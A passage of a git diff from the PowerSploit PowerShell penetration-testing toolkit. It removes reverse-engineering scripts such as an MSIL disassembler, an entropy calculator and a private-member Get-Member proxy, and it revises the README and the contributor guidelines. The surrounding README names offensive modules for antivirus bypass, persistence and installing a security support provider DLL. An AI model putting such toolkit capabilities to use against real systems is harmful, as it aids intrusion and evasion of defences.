'75dafa99-1402-4e29-b5d4-6c87da2b323a'}, - @{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'}, @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, - @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} - @{ModuleName = 'Capstone'; ModuleVersion = '1.0.0.0'; GUID = 'bc335667-02fd-46c4-a3d9-0a5113c9c03b'} - ) - -# List of all files packaged with this module -FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - + @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} ) } diff --git a/README.md b/README.md index 03589304..ed32e05f 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,6 @@ -### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid reverse engineers, forensic analysts, and penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: +### PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts: + +### Note: All reverse engineering components of PowerSploit now reside in the [PowerShellArsenal](https://github.com/mattifestation/PowerShellArsenal). ## CodeExecution @@ -64,86 +66,6 @@ Installs a security support provider (SSP) dll. Enumerates all loaded security packages (SSPs). -## PETools - -**Parse/manipulate Windows portable executables.** - -#### `Get-PEHeader` - -An in-memory and on-disk PE parsing utility. - -#### `Get-ObjDump` - -Displays information about one or more Windows object files. - -#### `Get-LibSymbols` - -Displays symbolic information from Windows lib files. - -#### `Get-DllLoadPath` - -Returns the path from which Windows will load a Dll for the given executable. - -## Capstone - -**A PowerShell binding for the Capstone Engine disassembly framework.** - -#### `Get-CSDisassembly` - -Disassembles a byte array using the Capstone Engine disassembly framework. - -## ReverseEngineering - -**Tools to aid in reverse engineering.** - -#### `Get-PEB` - -Returns the process environment block (PEB) of a process. - -#### `Get-ILDisassembly` - -Disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm. - -#### `Get-NtSystemInformation` - -A utility that calls and parses the output of the ntdll!NtQuerySystemInformation function. This utility can be used to query internal OS information that is typically not made visible to a user. - -#### `Get-StructFromMemory` - -Marshals data from an unmanaged block of memory in an arbitrary process to a newly allocated managed object of the specified type. - -#### `Get-Member` - -A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members - -#### `Get-Strings` - -Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals. - -#### `ConvertTo-String` - -Converts the bytes of a file to a string that has a 1-to-1 mapping back to the file's original bytes. ConvertTo-String is useful for performing binary regular expressions. - -#### `Get-MethodAddress` - -Get the unmanaged function address of a .NET method. - -#### `Register-ProcessModuleTrace` - -Starts a trace of loaded process modules - -#### `Get-ProcessModuleTrace` - -Displays the process modules that have been loaded since the call to Register-ProcessModuleTrace - -#### `Unregister-ProcessModuleTrace` - -Stops the running process module trace - -#### `Get-Entropy` - -Calculates the entropy of a file or byte array. - ## AntivirusBypass **AV doesn't stand a chance against PowerShell!** @@ -275,7 +197,7 @@ Note: The tools contained within this module were all designed such that they ca * Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). -* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. +* Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. Exceptions to supported verbs will be considered on a case-by-case basis. * I prefer that variable names be capitalized and be as descriptive as possible. @@ -285,29 +207,23 @@ Note: The tools contained within this module were all designed such that they ca * Catch all anticipated errors and provide meaningful output. If you have an error that should stop execution of the script, use 'Throw'. If you have an error that doesn't need to stop execution, use Write-Error. -* If you are writing a script that interfaces with the Win32 API, do not compile C# code unless absolutely necessary. It is imperative that nothing aside from the script touches the disk. +* If you are writing a script that interfaces with the Win32 API, try to avoid compiling C# inline with Add-Type. Try to use the PSReflect module, if possible. * Do not use hardcoded paths. A script should be useable right out of the box. No one should have to modify the code unless they want to. -* I don't want any v3 dependencies right now. In fact, it would be ideal to use `Set-StrictMode -Version 2.0` to ensure you are conforming to PowerShell v2 best practices. +* PowerShell v2 compatibility is highly desired. * Use positional parameters and make parameters mandatory when it makes sense to do so. For example, I'm looking for something like the following: * `[Parameter(Position = 0, Mandatory = $True)]` * Don't use any aliases unless it makes sense for receiving pipeline input. They make code more difficult to read for people who are unfamiliar with a particular alias. -* Don't let commands run on for too long. For example, a pipeline is a natural place for a line break. +* Try not to let commands run on for too long. For example, a pipeline is a natural place for a line break. * Don't go overboard with inline comments. Only use them when certain aspects of the code might be confusing to a reader. -* Use Out-Null to suppress unwanted/irrelevant output. - -* Only use .NET code when absolutely necessary. - -* Use the Write-Output keyword when returning an object from a function. I know it's not necessary but it makes the code more readable. +* Rather than using Out-Null to suppress unwanted/irrelevant output, save the unwanted output to $null. Doing so provides a slight performance enhancement. * Use default values for your parameters when it makes sense. Ideally, you want a script that will work without requiring any parameters. -* Scripts that are intended to run on a remote machine should be self-contained and not rely upon any additional scripts. Scripts that are designed to run on your host machine can have dependencies on other scripts. - * If a script creates complex custom objects, include a ps1xml file that will properly format the object's output. \ No newline at end of file diff --git a/ReverseEngineering/ConvertTo-String.ps1 b/ReverseEngineering/ConvertTo-String.ps1 deleted file mode 100644 index 1c030b49..00000000 --- a/ReverseEngineering/ConvertTo-String.ps1 +++ /dev/null @@ -1,70 +0,0 @@ -filter ConvertTo-String -{ -<# -.SYNOPSIS - -Converts the bytes of a file to a string. - -PowerSploit Function: ConvertTo-String -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -ConvertTo-String converts the bytes of a file to a string that has a -1-to-1 mapping back to the file's original bytes. ConvertTo-String is -useful for performing binary regular expressions. - -.PARAMETER Path - -Specifies the path to the file to convert. - -.EXAMPLE - -PS C:\>$BinaryString = ConvertTo-String C:\Windows\SysWow64\kernel32.dll -PS C:\>$HotpatchableRegex = [Regex] '[\xCC\x90]{5}\x8B\xFF' -PS C:\>$HotpatchableRegex.Matches($BinaryString) - -Description ------------ -Converts kernel32.dll into a string. A binary regular expression is -then performed on the string searching for a hotpatchable code -sequence - i.e. 5 nop/int3 followed by a mov edi, edi instruction. - -.NOTES - -The intent of ConvertTo-String is not to replicate the functionality -of strings.exe, rather it is intended to be used when -performing regular expressions on binary data. - -.LINK - -http://www.exploit-monday.com -#> - - [OutputType([String])] - Param ( - [Parameter( Mandatory = $True, - Position = 0, - ValueFromPipeline = $True )] - [ValidateScript({-not (Test-Path $_ -PathType Container)})] - [String] - $Path - ) - - $FileStream = New-Object -TypeName IO.FileStream -ArgumentList (Resolve-Path $Path), 'Open', 'Read' - - # Note: Codepage 28591 returns a 1-to-1 char to byte mapping - $Encoding = [Text.Encoding]::GetEncoding(28591) - - $StreamReader = New-Object IO.StreamReader($FileStream, $Encoding) - - $BinaryText = $StreamReader.ReadToEnd() - - $StreamReader.Close() - $FileStream.Close() - - Write-Output $BinaryText -} diff --git a/ReverseEngineering/Get-Entropy.ps1 b/ReverseEngineering/Get-Entropy.ps1 deleted file mode 100644 index 42e5d28e..00000000 --- a/ReverseEngineering/Get-Entropy.ps1 +++ /dev/null @@ -1,106 +0,0 @@ -function Get-Entropy -{ -<# -.SYNOPSIS - - Calculates the entropy of a file or byte array. - - PowerSploit Function: Get-Entropy - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.PARAMETER ByteArray - - Specifies the byte array containing the data from which entropy will be calculated. - -.PARAMETER FilePath - - Specifies the path to the input file from which entropy will be calculated. - -.EXAMPLE - - C:\PS>Get-Entropy -FilePath C:\Windows\System32\kernel32.dll - -.EXAMPLE - - C:\PS>ls C:\Windows\System32\*.dll | % { Get-Entropy -FilePath $_ } - -.EXAMPLE - - C:\PS>$RandArray = New-Object Byte[](10000) - C:\PS>foreach ($Offset in 0..9999) { $RandArray[$Offset] = [Byte] (Get-Random -Min 0 -Max 256) } - C:\PS>$RandArray | Get-Entropy - - Description - ----------- - Calculates the entropy of a large array containing random bytes. - -.EXAMPLE - - C:\PS> 0..255 | Get-Entropy - - Description - ----------- - Calculates the entropy of 0-255. This should equal exactly 8. - -.OUTPUTS - - System.Double - - Get-Entropy outputs a double representing the entropy of the byte array. - -.LINK - - http://www.exploit-monday.com -#> - - [CmdletBinding()] Param ( - [Parameter(Mandatory = $True, Position = 0, ValueFromPipeline = $True, ParameterSetName = 'Bytes')] - [ValidateNotNullOrEmpty()] - [Byte[]] - $ByteArray, - - [Parameter(Mandatory = $True, Position = 0, ParameterSetName = 'File')] - [ValidateNotNullOrEmpty()] - [IO.FileInfo] - $FilePath - ) - - BEGIN - { - $FrequencyTable = @{} - $ByteArrayLength = 0 - } - - PROCESS - { - if ($PsCmdlet.ParameterSetName -eq 'File') - { - $ByteArray = [IO.File]::ReadAllBytes($FilePath.FullName) - } - - foreach ($Byte in $ByteArray) - { - $FrequencyTable[$Byte]++ - $ByteArrayLength++ - } - } - - END - { - $Entropy = 0.0 - - foreach ($Byte in 0..255) - { - $ByteProbability = ([Double] $FrequencyTable[[Byte]$Byte]) / $ByteArrayLength - if ($ByteProbability -gt 0) - { - $Entropy += -$ByteProbability * [Math]::Log($ByteProbability, 2) - } - } - - Write-Output $Entropy - } -} \ No newline at end of file diff --git a/ReverseEngineering/Get-ILDisassembly.format.ps1xml b/ReverseEngineering/Get-ILDisassembly.format.ps1xml deleted file mode 100644 index 21115d6c..00000000 --- a/ReverseEngineering/Get-ILDisassembly.format.ps1xml +++ /dev/null @@ -1,46 +0,0 @@ - - - - - ILInstructionView - - IL_INSTRUCTION - - - - - - - - - - - - - - - - - - - - - - Position - - - Instruction - - - Operand - - - if ($_.MetadataToken) {"0x$($_.MetadataToken.ToString('X8'))"} - - - - - - - - diff --git a/ReverseEngineering/Get-ILDisassembly.ps1 b/ReverseEngineering/Get-ILDisassembly.ps1 deleted file mode 100644 index 6948919f..00000000 --- a/ReverseEngineering/Get-ILDisassembly.ps1 +++ /dev/null @@ -1,215 +0,0 @@ -function Get-ILDisassembly -{ -<# -.SYNOPSIS - -A MSIL (Microsoft Intermediate Language) disassembler. - -PowerSploit Function: Get-ILDisassembly -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-ILDisassembly disassembles a raw MSIL byte array passed in from a MethodInfo object in a manner similar to that of Ildasm. - -The majority of this code was simply translated from C# (with permission) from a code example taken from: "C# 4.0 in a Nutshell", Copyright 2010, Joseph Albahari and Ben Albahari, pg. 728-733 - -.PARAMETER MethodInfo - -A MethodInfo object that describes the implementation of the method and contains the IL for the method. - -.EXAMPLE - -C:\PS> [Int].GetMethod('Parse', [String]) | Get-ILDisassembly | Format-Table Position, Instruction, Operand -AutoSize - -Position Instruction Operand --------- ----------- ------- -IL_0000 ldarg.0 -IL_0001 ldc.i4.7 -IL_0002 call System.Globalization.NumberFormatInfo.get_CurrentInfo -IL_0007 call System.Number.ParseInt32 -IL_000C ret - -Description ------------ -Disassembles the System.Int32.Parse(String) method - -.EXAMPLE - -C:\PS> $MethodInfo = [Array].GetMethod('BinarySearch', [Type[]]([Array], [Object])) -C:\PS> Get-ILDisassembly $MethodInfo | Format-Table Position, Instruction, Operand -AutoSize - -Position Instruction Operand --------- ----------- ------- -IL_0000 ldarg.0 -IL_0001 brtrue.s IL_000E -IL_0003 ldstr 'array' -IL_0008 newobj System.ArgumentNullException..ctor -IL_000D throw -IL_000E ldarg.0 -IL_000F ldc.i4.0 -IL_0010 callvirt System.Array.GetLowerBound -IL_0015 stloc.0 -IL_0016 ldarg.0 -IL_0017 ldloc.0 -IL_0018 ldarg.0 -IL_0019 callvirt System.Array.get_Length -IL_001E ldarg.1 -IL_001F ldnull -IL_0020 call System.Array.BinarySearch -IL_0025 ret - -Description ------------ -Disassembles the System.Array.BinarySearch(Array, Object) method - -.INPUTS - -System.Reflection.MethodInfo, System.Reflection.ConstructorInfo - -A method or constructor description containing the raw IL bytecodes. - -.OUTPUTS - -System.Object - -Returns a custom object consisting of a position, instruction, and opcode parameter. - -.LINK - -http://www.exploit-monday.com -http://www.albahari.com/nutshell/cs4ch18.aspx -http://msdn.microsoft.com/en-us/library/system.reflection.emit.opcodes.aspx -http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-335.pdf -#> - - Param ( - [Parameter(Mandatory = $True, ValueFromPipeline = $True)] - [ValidateScript({$_ -is [Reflection.MethodInfo] -or $_ -is [Reflection.ConstructorInfo]})] - [Object] - $MethodInfo - ) - - if (!($MethodInfo.GetMethodBody())) { - return - } - - $IL = $MethodInfo.GetMethodBody().GetILAsByteArray() - $MethodModule = $MethodInfo.DeclaringType.Module - - $OpCodeTable = @{} - - # Fill OpCodeTable with every OpCode so that it can be referenced by numeric byte value - [System.Reflection.Emit.OpCodes].GetMembers() | - ForEach-Object { - try { - $OpCode = $_.GetValue($null) - $OpCodeTable[[Int16] $OpCode.Value] = $OpCode - } catch {} - } - - $Position = 0 - - # Disassemble every instruction until the end of the IL bytecode array is reached - while ($Position -lt $IL.Length) { - - # Get current instruction position - $InstructionPostion = "IL_{0}" -f ($Position.ToString('X4')) - - if ($IL[$Position] -eq 0xFE) { - # You are dealing with a two-byte opcode in this case - $Op = $OpCodeTable[[Int16] ([BitConverter]::ToInt16($IL[($Position+1)..$Position], 0))] - $Position++ - } else { - # Otherwise, it's a one-byte opcode - $Op = $OpCodeTable[[Int16] $IL[$Position]] - } - - $Position++ - - $Type = $Op.OperandType - $Operand = $null - $OpInt = $null - - if ($Type -eq 'InlineNone') { - $OperandLength = 0 - } elseif (($Type -eq 'ShortInlineBrTarget') -or ($Type -eq 'ShortInlineI') -or ($Type -eq 'ShortInlineVar')) { - $OperandLength = 1 - - if ($Type -eq 'ShortInlineBrTarget') { # Short relative jump instruction - # [SByte]::Parse was used because PowerShell doesn't handle signed bytes well - $Target = $Position + ([SByte]::Parse($IL[$Position].ToString('X2'), 'AllowHexSpecifier')) + 1 - $Operand = "IL_{0}" -f ($Target.ToString('X4')) - } - } elseif ($Type -eq 'InlineVar') { - $OperandLength = 2 - } elseif (($Type -eq 'InlineI8') -or (($Type -eq 'InlineR'))) { - $OperandLength = 8 - } elseif ($Type -eq 'InlineSwitch') { - # This is the only operand type with a variable number of operands - $TargetCount = [BitConverter]::ToInt32($IL, $Position) - $OperandLength = 4 * ($TargetCount + 1) - $Targets = New-Object String[]($TargetCount) - - foreach ($i in 0..($TargetCount - 1)) { - # Get all switch jump targets - $Target = [BitConverter]::ToInt32($IL, ($Position + ($i + 1) * 4)) - $Targets[$i] = "IL_{0}" -f (($Position + $Target + $OperandLength).ToString('X4')) - } - - $Operand = "({0})" -f ($Targets -join ',') - } else { - $OperandLength = 4 - $Operand = $null - - $OpInt = [BitConverter]::ToInt32($IL, $Position) - - if (($Type -eq 'InlineTok') -or ($Type -eq 'InlineMethod') -or ($Type -eq 'InlineField') -or ($Type -eq 'InlineType')) { - # Resolve all operands with metadata tokens - Write-Verbose "OpCode Metadata for member: $OpInt" - try { $MemberInfo = $MethodModule.ResolveMember($OpInt) } catch { $Operand = $null } - if (!$MemberInfo) { $Operand = $null } - - # Retrieve the actual name of the class and method - if ($MemberInfo.ReflectedType) { - $Operand = "{0}.{1}" -f ($MemberInfo.ReflectedType.Fullname), ($MemberInfo.Name) - } elseif ($MemberInfo -is [Type]) { - $Operand = $MemberInfo.GetType().FullName - } else { - $Operand = $MemberInfo.Name - } - } elseif ($Type -eq 'InlineString') { - # Retrieve the referenced string - $Operand = "`'{0}`'" -f ($MethodModule.ResolveString($OpInt)) - } elseif ($Type -eq 'InlineBrTarget') { - $Operand = "IL_{0}" -f (($Position + $OpInt + 4).ToString('X4')) - } else { - $Operand = $null - } - } - - if (($OperandLength -gt 0) -and ($OperandLength -ne 4) -and ($Type -ne 'InlineSwitch') -and ($Type -ne 'ShortInlineBrTarget')) { - # Simply print the hex for all operands with immediate values - $Operand = "0x{0}" -f (($IL[($Position+$OperandLength-1)..$Position] | ForEach-Object { $_.ToString('X2') }) -join '') - } - - $Instruction = @{ - Position = $InstructionPostion - Instruction = $Op - Operand = $Operand - MetadataToken = $OpInt - } - - # Return a custom object containing a position, instruction, and fully-qualified operand - $InstructionObject = New-Object PSObject -Property $Instruction - $InstructionObject.PSObject.TypeNames.Insert(0, 'IL_INSTRUCTION') - - $InstructionObject - - # Adjust the position in the opcode array accordingly - $Position += $OperandLength - } -} diff --git a/ReverseEngineering/Get-Member.ps1 b/ReverseEngineering/Get-Member.ps1 deleted file mode 100644 index 2f04deb5..00000000 --- a/ReverseEngineering/Get-Member.ps1 +++ /dev/null @@ -1,369 +0,0 @@ -function Get-Member -{ -<# -.SYNOPSIS - -Gets the properties and methods of objects. - -PowerSploit Proxy Function: Get-Member -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause (Except for the help documentation derived from the original Get-Member) -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -The Get-Member cmdlet gets the "members" (properties and methods) of objects. - -To specify the object, use the InputObject parameter or pipe an object to Get-Member. To retrieve information about static members (members of the class, not of the instance), use the Static parameter. To get only certain types of members, such as NoteProperties, use the MemberType parameter. - -.PARAMETER Private - -Gets only the non-public members of the object. - -These members are typically not exposed and are extracted using reflection. - -.PARAMETER Static - -Gets only the static properties and methods of the object. - -Static properties and methods are defined on the class of objects, not on any particular instance of the class. - -If you use the Static parameter with the View parameter, the View parameter is ignored. If you use the Static parameter with the MemberType parameter, Get-Member gets only the members that belong to both sets. - -.PARAMETER Force - -Adds the intrinsic members (PSBase, PSAdapted, PSObject, PSTypeNames) and the compiler-generated get_, set_, op_, .ctor, and .cctor methods to the display. By default, Get-Member gets these properties in all views other than "Base" and "Adapted," but it does not display them. - -The following list describes the properties that are added when you use the Force parameter: - --- PSBase: The original properties of the .NET Framework object without extension or adaptation. These are the properties defined for the object class and listed in MSDN. --- PSAdapted: The properties and methods defined in the Windows PowerShell extended type system. --- PSExtended: The properties and methods that were added in the Types.ps1xml files or by using the Add-Member cmdlet. --- PSObject: The adapter that converts the base object to a Windows PowerShell PSObject object. --- PSTypeNames: A list of object types that describe the object, in order of specificity. When formatting the object, Windows PowerShell searches for the types in the Format.ps1xml files in the Windows PowerShell installation directory ($pshome). It uses the formatting definition for the first type that it finds. --- get_*: The object's getter methods --- set_*: The object's setter methods --- op_*: The object's operator methods --- .ctor: The object's constructor --- .cctor: The object's copy constructor - -.PARAMETER InputObject - -Specifies the object whose members are retrieved. - -Using the InputObject parameter is not the same as piping an object to Get-Member. The differences are as follows: - --- When you pipe a collection of objects to Get-Member, Get-Member gets the members of the individual objects in the collection, such as the properties of the integers in an array of integers. - --- When you use InputObject to submit a collection of objects, Get-Member gets the members of the collection, such as the properties of the array in an array of integers. - -.PARAMETER PrivateMemberType - -When the 'Private' parameter is specified, only members with the specified member type. The default is All. - -The valid values for this parameter are: - --- Constructor: A constructor method of the underlying .NET Framework object. --- Event: Indicates that the object sends a message to indicate an action or a change in state. --- Field: A private field of the underlying .NET Framework object. --- Method: A method of the underlying .NET Framework object. --- Property: A property of the underlying .NET Framework object. --- TypeInfo: A type of the underlying .NET Framework object. --- Custom: A custom member type --- NestedType: A nested type of the underlying .NET Framework object. - --- All: Gets all member types. - -.PARAMETER MemberType - -Gets only members with the specified PowerShell member type. The default is All. - -The valid values for this parameter are: - --- AliasProperty: A property that defines a new name for an existing property. --- CodeMethod: A method that references a static method of a .NET Framework class. --- CodeProperty: A property that references a static property of a .NET Framework class. --- Event: Indicates that the object sends a message to indicate an action or a change in state. --- MemberSet: A predefined collection of properties and methods, such as PSBase, PSObject, and PSTypeNames. --- Method: A method of the underlying .NET Framework object. --- NoteProperty: A property with a static value. --- ParameterizedProperty: A property that takes parameters and parameter values. --- Property: A property of the underlying .NET Framework object. --- PropertySet: A predefined collection of object properties. --- ScriptMethod: A method whose value is the output of a script. --- ScriptProperty: A property whose value is the output of a script. - --- All: Gets all member types. --- Methods: Gets all types of methods of the object (for example, Method, CodeMethod, ScriptMethod). --- Properties: Gets all types of properties of the object (for example, Property, CodeProperty, AliasProperty, ScriptProperty). - -Not all objects have every type of member. If you specify a member type that the object does not have, Windows PowerShell returns a null value. - -To get related types of members, such as all extended members, use the View parameter. If you use the MemberType parameter with the Static or View parameters, Get-Member gets the members that belong to both sets. - -.PARAMETER Name - -Specifies the names of one or more properties or methods of the object. Get-Member gets only the specified properties and methods. - -If you use the Name parameter with the MemberType, View, or Static parameters, Get-Member gets only the members that satisfy the criteria of all parameters. - -To get a static member by name, use the Static parameter with the Name parameter. - -.PARAMETER View - -Gets only particular types of members (properties and methods). Specify one or more of the values. The default is "Adapted, Extended". - -Valid values are: --- Base: Gets only the original properties and methods of the .NET Framework object (without extension or adaptation). --- Adapted: Gets only the properties and methods defined in the Windows PowerShell extended type system. --- Extended: Gets only the properties and methods that were added in the Types.ps1xml files or by using the Add-Member cmdlet. --- All: Gets the members in the Base, Adapted, and Extended views. - -The View parameter determines the members retrieved, not just the display of those members. - -To get particular member types, such as script properties, use the MemberType parameter. If you use the MemberType and View parameters in the same command, Get-Member gets the members that belong to both sets. If you use the Static and View parameters in the same command, the View parameter is ignored. - -.EXAMPLE - -C:\PS> [String] | Get-Member -Static -Private - -Description ------------ -Returns all staic, non-public members of the String class. - -.EXAMPLE - -C:\PS> [Diagnostics.Process] | Get-Member -Private -PrivateMemberType Method - -Description ------------ -Returns all non-public instance methods of the Diagnostics.Process class - -.EXAMPLE - -C:\PS> "Hello, World" | Get-Member -Private -Force - -Description ------------ -Returns all instance members including those with special names (like .ctor) of the string instance - -.LINK - -http://www.exploit-monday.com/2012/08/surgical-net-dissection.html - -#> - [CmdletBinding(DefaultParameterSetName = 'Default')] - Param ( - [Parameter(ValueFromPipeline=$true, ParameterSetName = 'Default')] - [Parameter(ValueFromPipeline=$true, ParameterSetName = 'Private')] - [System.Management.Automation.PSObject] - $InputObject, - - [Parameter(Position=0, ParameterSetName = 'Default')] - [Parameter(Position=0, ParameterSetName = 'Private')] - [ValidateNotNullOrEmpty()] - [System.String[]] - $Name, - - [Parameter(ParameterSetName = 'Default')] - [Alias('Type')] - [System.Management.Automation.PSMemberTypes] - $MemberType, - - [Parameter(ParameterSetName = 'Private')] - [System.Reflection.MemberTypes] - $PrivateMemberType = [System.Reflection.MemberTypes]::All, - - [Parameter(ParameterSetName = 'Default')] - [System.Management.Automation.PSMemberViewTypes] - $View, - - [Parameter(ParameterSetName = 'Default')] - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Static, - - [Parameter(ParameterSetName = 'Default')] - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Force, - - [Parameter(ParameterSetName = 'Private')] - [Switch] - $Private - ) - - BEGIN - { - try { - $outBuffer = $null - if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) - { - $PSBoundParameters['OutBuffer'] = 1 - } - $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Microsoft.PowerShell.Utility\Get-Member', [System.Management.Automation.CommandTypes]::Cmdlet) - # Redirect the output of the command to $out variable - $null = $PSBoundParameters.Add('OutVariable', 'out') - # Redirect original output to $null - if ($PSBoundParameters['Private']) { - $null = $PSBoundParameters.Remove('Private') - $Private = $True - } - if ($PSBoundParameters['PrivateMemberType']) { - $PrivateMemberType = $PSBoundParameters['PrivateMemberType'] - $null = $PSBoundParameters.Remove('PrivateMemberType') - } - $scriptCmd = {& $wrappedCmd @PSBoundParameters | Out-Null } - $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) - $steppablePipeline.Begin($PSCmdlet) - } catch { - } - } - - PROCESS - { - try { - $steppablePipeline.Process($_) - } catch { - } - } - - END - { - try { - $steppablePipeline.End() - if ($Private) { - - $Object = $PSBoundParameters['InputObject'] - if ($Object.GetType().FullName -ne 'System.RuntimeType') { - # If InputObject is an instance of an object, get its type - # Otherwise, it's assumed that what was passed in was already a type - $Object = $Object.GetType() - } - - if ($PSBoundParameters['Static']) { - $Flags = 'Static, NonPublic' - - # Retrieve all static, nonpublic members except for constructors - $Types = foreach ($Val in [Enum]::GetValues([System.Reflection.MemberTypes])) { - $Object.GetMembers($Flags) | Where-Object { ($_.MemberType -eq ($Val.value__ -band $PrivateMemberType)) -and ($Val -ne [System.Reflection.MemberTypes]::All) -and ($_.MemberType -ne 'Constructor') } - } - - # Retrieve all static constructors (both public and nonpublic) - # Public constructors are retrieved because the original 'Get-Member -Force' does not retrieve constructors - $Types += $Object.GetConstructors('Static, NonPublic, Public') - } else { - $Flags = 'Instance, NonPublic' - - # Retrieve all instance, nonpublic members except for constructors - $Types = foreach ($Val in [Enum]::GetValues([System.Reflection.MemberTypes])) { - $Object.GetMembers($Flags) | Where-Object { ($_.MemberType -eq ($Val.value__ -band $PrivateMemberType)) -and ($Val -ne [System.Reflection.MemberTypes]::All) -and ($_.MemberType -ne 'Constructor') } - } - - # Retrieve all instance constructors (both public and nonpublic) - # Public constructors are retrieved because the original 'Get-Member -Force' does not retrieve constructors - $Types += $Object.GetConstructors('Instance, NonPublic, Public') - } - - # Filter out types with special names if '-Force' is not specified - if (!$Force) { - $Types = $Types | Where-Object { !$_.IsSpecialName } - } - - $TypeTable = @{} - - # For each type, build an array of object equivalent to an array of Microsoft.PowerShell.Commands.MemberDefinition objects. - # An array of custom objects is required because the MemberDefinition object doesn't take System.Reflection.MemberTypes - # objects in its constructor. - $Results = $Types | ForEach-Object { - - $Type = $_ - - switch ($Type.MemberType) { - 'Constructor' { - $Parameters = ($Type.GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.Name)($($Parameters))" - } - 'Field' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.FieldType)" - } - 'Method' { - $Parameters = ($Type.GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.ReturnType) $($Type.Name)($($Parameters))" - } - 'Property' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.PropertyType) $($Type.Name) {$(if ($Type.CanRead){'get;'})$(if ($Type.CanWrite){'set;'})}" - } - 'NestedType' { - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.FullName) BaseType=$($Type.BaseType)" - } - 'Event' { - $Parameters = ($Type.GetAddMethod().GetParameters() | % {$_.ParameterType.FullName}) -join ', ' - $Definition = "$(if ($Type.IsStatic){'static '})$($Type.EventHandlerType) $($Type.Name)(System.Object, $($Parameters))" - } - } - - # Identical properties as the Microsoft.PowerShell.Commands.MemberDefinition object - $InternalMemberType = @{ - TypeName = $Type.DeclaringType.FullName - Name = $Type.Name - MemberType = $Type.MemberType - Definition = $Definition - } - - New-Object PSObject -Property $InternalMemberType - } - - # For members with the same name, compress them into an array that will be stored in a hashtable - $Results | ForEach-Object { - $TypeTable["$($_.Name)"] += @($_) - } - - $Results = foreach ($Type in $TypeTable.Keys) { - $ReturnType = @{ - TypeName = $TypeTable[$Type][0].TypeName - Name = $TypeTable[$Type][0].Name - MemberType = $TypeTable[$Type][0].MemberType - # Append each definition into a single definition. - # This behavior is indentical to what the unmodified - # Get-Member does. - Definition = ($TypeTable[$Type] | ForEach-Object { $_.Definition }) -join ', ' - } - - $MemberDef = New-Object PSObject -Property $ReturnType - <# - Cool trick. Even though the custom object is actually a Microsoft.PowerShell.Commands.MemberDefinition - object, you can trick it into thinking it is so that it will display the same way the result of the - original Get-Member cmdlet would. - #> - $MemberDef.PSObject.TypeNames.Insert(0, 'Microsoft.PowerShell.Commands.MemberDefinition') - $MemberDef - } - - # If '-Name' parameter is specified, only return members matching the name specified - if ($PSBoundParameters['Name']) { - $MemberNames = [String[]] $PSBoundParameters['Name'] - - $Tmp = New-Object PSObject[](0) - - foreach ($MemberName in $MemberNames) { - $Tmp += $Results | Where-Object { $_.Name -eq $MemberName } - } - - $Results = $Tmp - } - - # Return the results if the results are non-null - if ($Results.Count) { - $Results | Sort-Object TypeName, MemberType, Name - } - } else { - # If '-Private' is not set, return the results of the original Get-Member cmdlet - $out | Sort-Object TypeName, MemberType, Name - } - } catch { - } - } -} - diff --git a/ReverseEngineering/Get-MethodAddress.ps1 b/ReverseEngineering/Get-MethodAddress.ps1 deleted file mode 100644 index 1ab0d417..00000000 --- a/ReverseEngineering/Get-MethodAddress.ps1 +++ /dev/null @@ -1,120 +0,0 @@ -function Get-MethodAddress -{ -<# -.SYNOPSIS - -Get the unmanaged function address of a .NET method. - -PowerSploit Function: Get-MethodAddress -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-MethodAddress aids in the process of reverse engineering and exploitation by returning an unmanaged function pointer to any .NET method. This method is useful for those interested in seeing what JITed 